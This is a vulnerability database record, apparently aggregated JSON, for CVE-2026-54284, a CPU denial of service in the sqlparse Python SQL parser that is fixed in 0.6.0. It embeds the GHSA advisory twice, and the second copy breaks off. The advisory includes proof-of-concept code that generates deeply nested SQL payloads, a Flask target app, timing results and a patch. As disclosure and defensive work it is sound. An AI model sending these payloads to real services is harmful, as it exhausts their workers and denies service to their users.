{"id":"CVE-2026-54284","aliases":["DEBIAN-CVE-2026-54284","EUVD-2026-60313","GHSA-3496-9g83-7v6x","GHSA-cfqr-cjx5-5jcm","GHSA-f2ff-p2ww-7p4p","GHSA-prg7-hcfm-mfcr","GHSA-pwgv-4x5q-6m9f","OESA-2026-4218","OESA-2026-4219","PYSEC-2026-3699","RHLW-2026-7cb565d499929657","RHSA-2026:71112","RHSA-2026:71113","RHSA-2026:71114","RHSA-2026:74503","RHSA-2026:74504","RHSA-2026:74505","RHSA-2026:74506","ROOT-APP-PYPI-CVE-2026-54284","SUSE-SU-2026:23561-1","SUSE-SU-2026:3762-1","SUSE-SU-2026:3906-1","SUSE-SU-2026:3907-1","SUSE-SU-2026:3910-1","UBUNTU-CVE-2026-54284","USN-8808-1","openSUSE-SU-2026:11557-1","openSUSE-SU-2026:21690-1"],"status":"published","title":"sqlparse: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger","description":"sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, TokenList construction and string conversion in sqlparse/sql.py repeatedly flatten nested token subtrees constructed by group_parenthesis and group_case, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split() before depth and token limits terminate processing. This issue is fixed in version 0.6.0.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00332,"percentile":0.26772,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333","CWE-407"],"published":"2026-08-17T17:43:48Z","modified":"2026-11-06T19:30:02Z","fixes":[{"ecosystem":"PyPI","package":"sqlparse","fixed_in":["0.6.0"],"sources":["ghsa","osv"]},{"ecosystem":"Root:PyPI","package":"sqlparse","fixed_in":["0.5.3+aikido.2","0.3.0+aikido.5","0.5.5+aikido.1","0.3.0+aikido.6"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:16.04:LTS","package":"sqlparse","fixed_in":["0.1.18-1ubuntu0.1~esm1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"sqlparse","fixed_in":["0.2.4-0.1ubuntu0.1+esm1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"sqlparse","fixed_in":["0.2.4-3ubuntu0.1+esm1"],"sources":["osv"]},{"ecosystem":"Ubuntu:22.04:LTS","package":"sqlparse","fixed_in":["0.4.2-1ubuntu0.22.04.3"],"sources":["osv"]},{"ecosystem":"Ubuntu:24.04:LTS","package":"sqlparse","fixed_in":["0.4.4-1ubuntu0.2"],"sources":["osv"]},{"ecosystem":"Ubuntu:26.04:LTS","package":"sqlparse","fixed_in":["0.5.4-1ubuntu0.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.5.5"},{"fixed":"0.6.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.2-1","0.4.2-1+deb12u1","0.4.4-1","0.5.0-1","0.5.1-1","0.5.1-2","0.5.2-1","0.5.3-1","0.5.4-1","0.5.5-1","0.5.5-2"]},{"source":"osv","ecosystem":"Debian:13","package":"sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.5.3-1","0.5.4-1","0.5.5-1","0.5.5-2"]},{"source":"osv","ecosystem":"Debian:14","package":"sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.5.3-1","0.5.4-1","0.5.5-1","0.5.5-2"]},{"source":"osv","ecosystem":"PyPI","package":"sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.6.0"}]}],"versions":["0.1.0","0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.17","0.1.18","0.1.19","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5"]},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.6.0-1.oe2403sp3"}]}],"bundled":3},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP4","package":"python-sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.6.0-1.oe2403sp4"}]}],"bundled":3},{"source":"osv","ecosystem":"PyPI","package":"sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.6.0"}]}],"versions":["0.1.0","0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.17","0.1.18","0.1.19","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5"]},{"source":"osv","ecosystem":"Red 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rhsa-2026_74506.json","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623561-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1268597","tags":["report"]},{"url":"https://bugzilla.suse.com/1275459","tags":["report"]},{"url":"https://bugzilla.suse.com/1275460","tags":["report"]},{"url":"https://bugzilla.suse.com/1275461","tags":["report"]},{"url":"https://bugzilla.suse.com/1275466","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54284","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59893","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59894","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71491","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20263762-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20263906-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20263907-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20263910-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-54284","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8808-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-59893","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-71491","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-54284","title":"sqlparse: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger","description":"sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, TokenList construction and string conversion in sqlparse/sql.py repeatedly flatten nested token subtrees constructed by group_parenthesis and group_case, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split() before depth and token limits terminate processing. This issue is fixed in version 0.6.0.","status":"published","published":"2026-08-17T17:43:48.243Z","modified":"2026-08-17T19:32:42.004Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-407","CWE-1333"],"updated_at":"2026-11-02T13:38:09.774038Z"}],"euvd":[{"id":"EUVD-2026-60313","description":"sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, TokenList construction and string conversion in sqlparse/sql.py repeatedly flatten nested token subtrees constructed by group_parenthesis and group_case, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split() before depth and token limits terminate processing. This issue is fixed in version 0.6.0.","status":"published","published":"2026-08-17T17:43:48Z","modified":"2026-08-17T19:32:42Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:01:48.395378Z"}],"ghsa":[{"id":"GHSA-pwgv-4x5q-6m9f","title":"sqlparse: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger","description":"### Summary\n\n`sqlparse` ships hard limits (`MAX_GROUPING_DEPTH=100`, `MAX_GROUPING_TOKENS=10000`) intended to bound parsing work on attacker-supplied SQL, but the path that *reaches* those limits is itself `O(n*depth)` per token-group construction. A ~1-2 KB SQL payload (e.g. `SELECT (((((1))))) ...` with 500-2000 nesting levels, or a 200-400-level nested `CASE WHEN` chain) drives the parser to spend multiple seconds of CPU before the depth cap raises `SQLParseError`. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms.\n\nThe root cause is `TokenList.__init__` calling `super().__init__(None, str(self))`. `TokenList.__str__` flattens the entire subtree on every call, and grouping constructs a new `TokenList` for every parenthesis / CASE / list group, so a tree of depth `d` with `n` total tokens performs `O(n*d)` flatten work just to materialize the cached `value` field, which is then never read for grouped nodes (they override `__str__`).\n\nThis is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to *trigger* the caps is itself superlinear in payload size.\n\n### Affected components\n\n`sqlparse` 0.5.5 (latest) and every prior version that ships `TokenList.__init__`. The offending line has existed since the introduction of the cached-value invariant; the recent DoS-protection commit (`da67ac1`, 2025-12-08) added depth + token caps to `_group_matching` / `_group` but left the per-node `str(self)` materialization untouched.\n\n### Vulnerable code (file:line)\n\n[`sqlparse/sql.py#L162`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/sql.py#L162) (release 0.5.5) / [`sqlparse/sql.py#L167`](https://github.com/andialbrecht/sqlparse/blob/c923da9c5a8e8403dd32efc2171b60a177444d43/sqlparse/sql.py#L167) (current `master`):\n\n```python\nclass TokenList(Token):\n    __slots__ = 'tokens'\n\n    def __init__(self, tokens=None):\n        self.tokens = tokens or []\n        [setattr(token, 'parent', self) for token in self.tokens]\n        super().__init__(None, str(self))   # ← O(subtree) work per group\n        self.is_group = True\n\n    def __str__(self):\n        return ''.join(token.value for token in self.flatten())\n```\n\n`__str__` recurses via `flatten()` over the *entire* subtree below `self`. Every `TokenList` constructed during grouping (every `Parenthesis`, `Case`, `IdentifierList`, etc.) runs this on its current children, which themselves recursively call `flatten()`. For grouping that builds a tree of depth `d` containing `n` tokens, the construction cost is `O(n * d)`.\n\nThe grouping pipeline that triggers it lives at [`sqlparse/engine/grouping.py#L80`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/engine/grouping.py#L80) (`group_parenthesis`) and [`sqlparse/engine/grouping.py#L84`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/engine/grouping.py#L84) (`group_case`). Both call `_group_matching` which builds nested `Parenthesis` / `Case` `TokenList` instances bottom-up.\n\n### Reachable / How input reaches the sink\n\n`sqlparse.parse(sql)`, `sqlparse.format(sql, reindent=True)`, and `sqlparse.split(sql)` are the documented entry points and all flow into `engine/filter_stack.py:run` → `engine/grouping.py:group` → `group_parenthesis` / `group_case`. There is no opt-in flag: the quadratic runs on default configuration whenever attacker-controlled SQL contains nested parentheses, nested `CASE WHEN`, nested subqueries, or nested `ARRAY[]` literals.\n\nReal-world consumers that feed user input directly into these entry points include any SQL formatter web service (the `sqlformat.org`-style class of tools), Django's `format_debug_sql` (`django/db/backends/base/operations.py`) used when a debug toolbar shows user-typed SQL, and downstream metadata libraries such as `sql-metadata` (`Parser(sql).columns` triggers the same O(n*d) path and reproduces the multi-second hang on the same inputs).\n\n### Proof of concept\n\nMinimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden):\n\n```python\nimport sqlparse, time, signal\n\ndef _h(s, f): raise TimeoutError()\nsignal.signal(signal.SIGALRM, _h)\n\ndef measure(label, sql, fn):\n    signal.alarm(30)\n    t0 = time.perf_counter()\n    status = 'OK'\n    try:\n        fn(sql)\n    except sqlparse.exceptions.SQLParseError:\n        status = 'CAP'\n    except TimeoutError:\n        status = 'TIMEOUT'\n    finally:\n        signal.alarm(0)\n    dt = (time.perf_counter() - t0) * 1000\n    print(f'  {status:8} {dt:8.1f}ms  {label}  ({len(sql)} B)')\n\n# Vector 1: deeply nested parentheses\nfor n in (200, 500, 1000, 2000):\n    sql = 'SELECT ' + '(' * n + '1' + ')' * n\n    measure(f'nested-paren n={n}', sql, sqlparse.parse)\n\n# Vector 2: deeply nested CASE WHEN\nfor n in (100, 200, 400):\n    case = '1'\n    for i in range(n):\n        case = f'CASE WHEN x={i} THEN {case} ELSE NULL END'\n    measure(f'CASE-nested n={n}', f'SELECT {case} FROM t', sqlparse.parse)\n```\n\nOutput on the reporter's machine (Python 3.9, sqlparse 0.5.5, single core):\n\n```\n  CAP         80.7ms  nested-paren n=200  (408 B)\n  CAP       1342.9ms  nested-paren n=500  (1008 B)\n  CAP      11206.9ms  nested-paren n=1000  (2008 B)\n  TIMEOUT  \u003e10000ms   nested-paren n=2000  (4008 B)\n  CAP         83.1ms  CASE-nested n=100  (3405 B)\n  CAP        559.6ms  CASE-nested n=200  (6905 B)\n  CAP       5012.2ms  CASE-nested n=400  (13905 B)\n```\n\n`cProfile` attribution (nested-paren n=500, 1008 B input, 3.1 s total):\n\n```\nncalls   cumtime  filename:lineno(function)\n   501    3.133   sqlparse/sql.py:165(__str__)\n   501    3.127   {method 'join' of 'str' objects}\n252504    3.110   sqlparse/sql.py:166(\u003cgenexpr\u003e)\n42168504 3.079   sqlparse/sql.py:207(flatten)\n```\n\n42 million `flatten()` calls for a 1 KB input. The cap raises at depth 100, but `TokenList.__init__` ran `str(self)` once per group construction and each call walked the partial subtree.\n\n### End-to-end reproduction (against running consumer)\n\n`victim_app.py` (a 50-line Flask formatter, the canonical sqlparse consumer pattern):\n\n```python\nfrom flask import Flask, request, jsonify\nimport sqlparse, time\napp = Flask(__name__)\n\n@app.route('/parse', methods=['POST'])\ndef parse_sql():\n    sql = request.get_data(as_text=True)\n    t0 = time.perf_counter()\n    try:\n        sqlparse.parse(sql)\n        return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1)})\n    except sqlparse.exceptions.SQLParseError as e:\n        return jsonify({'ok': False, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'error': str(e)}), 400\n\n@app.route('/format', methods=['POST'])\ndef format_sql():\n    sql = request.get_data(as_text=True)\n    t0 = time.perf_counter()\n    formatted = sqlparse.format(sql, reindent=True, keyword_case='upper')\n    return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'len': len(formatted)})\n\nif __name__ == '__main__':\n    app.run(host='127.0.0.1', port=5099, threaded=False)\n```\n\nDriver run (Python 3.9, sqlparse 0.5.5, `threaded=False` so one worker per request):\n\n```\n=== Baseline (benign payloads) ===\n  benign small SQL                              8B  wire=    8.8ms  server=     0.2ms\n  benign 1 KB SQL                             220B  wire=    4.1ms  server=     2.5ms\n  benign flat 500-cols                       2902B  wire=   91.7ms  server=    90.2ms\n\n=== Malicious payloads (within default caps) ===\n  nested-paren n=200                          408B  wire=   84.0ms  server=    82.6ms  ok=False\n  nested-paren n=500                         1008B  wire= 1371.9ms  server=  1370.5ms  ok=False\n  nested-paren n=1000                        2008B  wire=10335.3ms  server=10333.7ms  ok=False\n  nested-paren n=2000                        4008B  wire=10661.4ms  server=10659.6ms  ok=False\n  CASE-nested n=400                         13905B  wire= 5136.4ms  server= 5134.7ms  ok=False\n  IN-tuple-format n=1000                     9922B  wire= 3852.8ms  server=  3851.2ms  ok=True\n```\n\nA 2 KB payload (`nested-paren n=1000`) pins one worker for 10 seconds at 100% CPU. With `gunicorn -w N` deploying the same app, `N` concurrent malicious requests exhaust every worker and bring the service down. The cap `SQLParseError` exception is delivered to the caller, but only *after* the CPU work is already burnt.\n\n### Impact\n\n- Single-threaded service: 1-2 KB payload locks the worker for 1-10 seconds (CWE-1333 / CWE-405 / CWE-400 — uncontrolled resource consumption).\n- Multi-worker service: attacker sends `N` parallel requests, exhausts the worker pool.\n- Wire-to-CPU amplification on the worst vector: ~5000x (2 KB request → 10 seconds CPU).\n- Downstream library impact: `sql-metadata.Parser(sql).columns` calls `sqlparse.parse` internally and inherits the exact same hang (`nested-paren n=1000` → 11.3 s).\n\n### Suggested fix\n\nReplace the eager `str(self)` materialization with a single-pass concatenation of children's already-cached `value` fields. The `Token.value` invariant `value == str(self) at construction` is preserved (children's `value` is itself built the same way bottom-up), but the per-node cost drops from `O(subtree)` to `O(len(self.tokens))`:\n\n```python\ndef __init__(self, tokens=None):\n    self.tokens = tokens or []\n    [setattr(token, 'parent', self) for token in self.tokens]\n    # Avoid materializing the full subtree via str(self): concatenating\n    # children's already-cached `value` is O(len(tokens)) per group,\n    # whereas str(self) recursively flattens the entire subtree which is\n    # O(subtree) per node and turns nested grouping into O(n * depth).\n    super().__init__(None, ''.join(token.value for token in self.tokens))\n    self.is_group = True\n```\n\nMeasured against the 0.5.5 source tree with the patch applied locally and the full existing test-suite running (479 passed, 2 xfailed, 1 xpassed; the same baseline as unpatched `0d24023`):\n\n| Vector | Before fix | After fix | Speedup |\n|---|---|---|---|\n| nested-paren n=500 | 1336 ms | 11 ms | 121x |\n| nested-paren n=1000 | 11206 ms | 22 ms | 509x |\n| nested-paren n=2000 | TIMEOUT (\u003e10 s) | 45 ms | 220x+ |\n| CASE-nested n=200 | 559 ms | 25 ms | 22x |\n| CASE-nested n=500 | TIMEOUT (\u003e10 s) | 61 ms | 160x+ |\n| benign 1 KB SQL | 3 ms | 3 ms | unchanged |\n\nEnd-to-end Flask `victim_app` re-run against the patched library:\n\n```\n  nested-paren n=1000                        2008B  server=    34.6ms\n  nested-paren n=2000                        4008B  server=    67.2ms\n  CASE-nested n=400                         13905B  server=    49.5ms\n  benign 1 KB SQL                             220B  server=     3.4ms\n```\n\nThe IN-tuple `format()` vector observed at `n=1000` (3.8 s for ~10 KB input) is a separate quadratic in the `reindent` filter (`filters/reindent.py:_get_offset` → `_flatten_up_to_token`) and is not covered by this advisory; please consider it as a follow-up if the maintainer would like a separate report.\n\n### Fix PR\n\nA fix PR against the temp private fork, mirroring the diff above with a regression test (`test_nested_paren_within_cap_under_50ms`), is attached and linked from this advisory.\n\n### Credit\n\nReported by [tonghuaroot](https://github.com/tonghuaroot).","status":"published","published":"2026-08-17T17:49:47Z","modified":"2026-08-17T17:49:48Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-407","CWE-1333"],"updated_at":"2026-11-02T14:41:01.23108Z"}],"nvd":[{"id":"CVE-2026-54284","description":"sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, TokenList construction and string conversion in sqlparse/sql.py repeatedly flatten nested token subtrees constructed by group_parenthesis and group_case, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split() before depth and token limits terminate processing. This issue is fixed in version 0.6.0.","status":"published","published":"2026-08-17T18:17:11.4Z","modified":"2026-10-23T16:10:00.313Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-407","CWE-1333"],"updated_at":"2026-11-02T14:12:38.647684Z"}],"osv":[{"id":"CVE-2026-54284","title":"sqlparse: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger","description":"sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, TokenList construction and string conversion in sqlparse/sql.py repeatedly flatten nested token subtrees constructed by group_parenthesis and group_case, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split() before depth and token limits terminate processing. This issue is fixed in version 0.6.0.","status":"published","published":"2026-08-17T17:43:48.243Z","modified":"2026-10-28T02:30:25.68938126Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-1333","CWE-407"],"updated_at":"2026-11-02T15:45:10.818486Z"},{"id":"DEBIAN-CVE-2026-54284","description":"sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, TokenList construction and string conversion in sqlparse/sql.py repeatedly flatten nested token subtrees constructed by group_parenthesis and group_case, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split() before depth and token limits terminate processing. This issue is fixed in version 0.6.0.","status":"published","published":"2026-08-17T18:17:11.4Z","modified":"2026-10-24T09:47:31.206070036Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:45:57.236551Z"},{"id":"GHSA-pwgv-4x5q-6m9f","title":"sqlparse: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger","description":"### Summary\n\n`sqlparse` ships hard limits (`MAX_GROUPING_DEPTH=100`, `MAX_GROUPING_TOKENS=10000`) intended to bound parsing work on attacker-supplied SQL, but the path that *reaches* those limits is itself `O(n*depth)` per token-group construction. A ~1-2 KB SQL payload (e.g. `SELECT (((((1))))) ...` with 500-2000 nesting levels, or a 200-400-level nested `CASE WHEN` chain) drives the parser to spend multiple seconds of CPU before the depth cap raises `SQLParseError`. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms.\n\nThe root cause is `TokenList.__init__` calling `super().__init__(None, str(self))`. `TokenList.__str__` flattens the entire subtree on every call, and grouping constructs a new `TokenList` for every parenthesis / CASE / list group, so a tree of depth `d` with `n` total tokens performs `O(n*d)` flatten work just to materialize the cached `value` field, which is then never read for grouped nodes (they override `__str__`).\n\nThis is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to *trigger* the caps is itself superlinear in payload size.\n\n### Affected components\n\n`sqlparse` 0.5.5 (latest) and every prior version that ships `TokenList.__init__`. The offending line has existed since the introduction of the cached-value invariant; the recent DoS-protection commit (`da67ac1`, 2025-12-08) added depth + token caps to `_group_matching` / `_group` but left the per-node `str(self)` materialization untouched.\n\n### Vulnerable code (file:line)\n\n[`sqlparse/sql.py#L162`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/sql.py#L162) (release 0.5.5) / [`sqlparse/sql.py#L167`](https://github.com/andialbrecht/sqlparse/blob/c923da9c5a8e8403dd32efc2171b60a177444d43/sqlparse/sql.py#L167) (current `master`):\n\n```python\nclass TokenList(Token):\n    __slots__ = 'tokens'\n\n    def __init__(self, tokens=None):\n        self.tokens = tokens or []\n        [setattr(token, 'parent', self) for token in self.tokens]\n        super().__init__(None, str(self))   # ← O(subtree) work per group\n        self.is_group = True\n\n    def __str__(self):\n        return ''.join(token.value for token in self.flatten())\n```\n\n`__str__` recurses via `flatten()` over the *entire* subtree below `self`. Every `TokenList` constructed during grouping (every `Parenthesis`, `Case`, `IdentifierList`, etc.) runs this on its current children, which themselves recursively call `flatten()`. For grouping that builds a tree of depth `d` containing `n` tokens, the construction cost is `O(n * d)`.\n\nThe grouping pipeline that triggers it lives at [`sqlparse/engine/grouping.py#L80`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/engine/grouping.py#L80) (`group_parenthesis`) and [`sqlparse/engine/grouping.py#L84`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/engine/grouping.py#L84) (`group_case`). Both call `_group_matching` which builds nested `Parenthesis` / `Case` `TokenList` instances bottom-up.\n\n### Reachable / How input reaches the sink\n\n`sqlparse.parse(sql)`, `sqlparse.format(sql, reindent=True)`, and `sqlparse.split(sql)` are the documented entry points and all flow into `engine/filter_stack.py:run` → `engine/grouping.py:group` → `group_parenthesis` / `group_case`. There is no opt-in flag: the quadratic runs on default configuration whenever attacker-controlled SQL contains nested parentheses, nested `CASE WHEN`, nested subqueries, or nested `ARRAY[]` literals.\n\nReal-world consumers that feed user input directly into these entry points include any SQL formatter web service (the `sqlformat.org`-style class of tools), Django's `format_debug_sql` (`django/db/backends/base/operations.py`) used when a debug toolbar shows user-typed SQL, and downstream metadata libraries such as `sql-metadata` (`Parser(sql).columns` triggers the same O(n*d) path and reproduces the multi-second hang on the same inputs).\n\n### Proof of concept\n\nMinimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden):\n\n```python\nimport sqlparse, time, signal\n\ndef _h(s, f): raise TimeoutError()\nsignal.signal(signal.SIGALRM, _h)\n\ndef measure(label, sql, fn):\n    signal.alarm(30)\n    t0 = time.perf_counter()\n    status = 'OK'\n    try:\n        fn(sql)\n    except sqlparse.exceptions.SQLParseError:\n        status = 'CAP'\n    except TimeoutError:\n        status = 'TIMEOUT'\n    finally:\n        signal.alarm(0)\n    dt = (time.perf_counter() - t0) * 1000\n    print(f'  {status:8} {dt:8.1f}ms  {label}  ({len(sql)} B)')\n\n# Vector 1: deeply nested parentheses\nfor n in (200, 500, 1000, 2000):\n    sql = 'SELECT ' + '(' * n + '1' + ')' * n\n    measure(f'nested-paren n={n}', sql, sqlparse.parse)\n\n# Vector 2: deeply nested CASE WHEN\nfor n in (100, 200, 400):\n    case = '1'\n    for i in range(n):\n        case = f'CASE WHEN x={i} THEN {case} ELSE NULL END'\n    measure(f'CASE-nested n={n}', f'SELECT {case} FROM t', sqlparse.parse)\n```\n\nOutput on the reporter's machine (Python 3.9, sqlparse 0.5.5, single core):\n\n```\n  CAP         80.7ms  nested-paren n=200  (408 B)\n  CAP       1342.9ms  nested-paren n=500  (1008 B)\n  CAP      11206.9ms  nested-paren n=1000  (2008 B)\n  TIMEOUT  \u003e10000ms   nested-paren n=2000  (4008 B)\n  CAP         83.1ms  CASE-nested n=100  (3405 B)\n  CAP        559.6ms  CASE-nested n=200  (6905 B)\n  CAP       5012.2ms  CASE-nested n=400  (13905 B)\n```\n\n`cProfile` attribution (nested-paren n=500, 1008 B input, 3.1 s total):\n\n```\nncalls   cumtime  filename:lineno(function)\n   501    3.133   sqlparse/sql.py:165(__str__)\n   501    3.127   {method 'join' of 'str' objects}\n252504    3.110   sqlparse/sql.py:166(\u003cgenexpr\u003e)\n42168504 3.079   sqlparse/sql.py:207(flatten)\n```\n\n42 million `flatten()` calls for a 1 KB input. The cap raises at depth 100, but `TokenList.__init__` ran `str(self)` once per group construction and each call walked the partial subtree.\n\n### End-to-end reproduction (against running consumer)\n\n`victim_app.py` (a 50-line Flask formatter, the canonical sqlparse consumer pattern):\n\n```python\nfrom flask import Flask, request, jsonify\nimport sqlparse, time\napp = Flask(__name__)\n\n@app.route('/parse', methods=['POST'])\ndef parse_sql():\n    sql = request.get_data(as_text=True)\n    t0 = time.perf_counter()\n    try:\n        sqlparse.parse(sql)\n        return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1)})\n    except sqlparse.exceptions.SQLParseError as e:\n        return jsonify({'ok': False, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'error': str(e)}), 400\n\n@app.route('/format', methods=['POST'])\ndef format_sql():\n    sql = request.get_data(as_text=True)\n    t0 = time.perf_counter()\n    formatted = sqlparse.format(sql, reindent=True, keyword_case='upper')\n    return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'len': len(formatted)})\n\nif __name__ == '__main__':\n    app.run(host='127.0.0.1', port=5099, threaded=False)\n```\n\nDriver run (Python 3.9, sqlparse 0.5.5, `threaded=False` so one worker per request):\n\n```\n=== Baseline (benign payloads) ===\n  benign small SQL                              8B  wire=    8.8ms  server=     0.2ms\n  benign 1 KB SQL                             220B  wire=    4.1ms  server=     2.5ms\n  benign flat 500-cols                       2902B  wire=   91.7ms  server=    90.2ms\n\n=== Malicious payloads (within default caps) ===\n  nested-paren n=200                          408B  wire=   84.0ms  server=    82.6ms  ok=False\n  nested-paren n=500                         1008B  wire= 1371.9ms  server=  1370.5ms  ok=False\n  nested-paren n=1000                        2008B  wire=10335.3ms  server=10333.7ms  ok=False\n  nested-paren n=2000                        4008B  wire=10661.4ms  server=10659.6ms  ok=False\n  CASE-nested n=400                         13905B  wire= 5136.4ms  server= 5134.7ms  ok=False\n  IN-tuple-format n=1000                     9922B  wire= 3852.8ms  server=  3851.2ms  ok=True\n```\n\nA 2 KB payload (`nested-paren n=1000`) pins one worker for 10 seconds 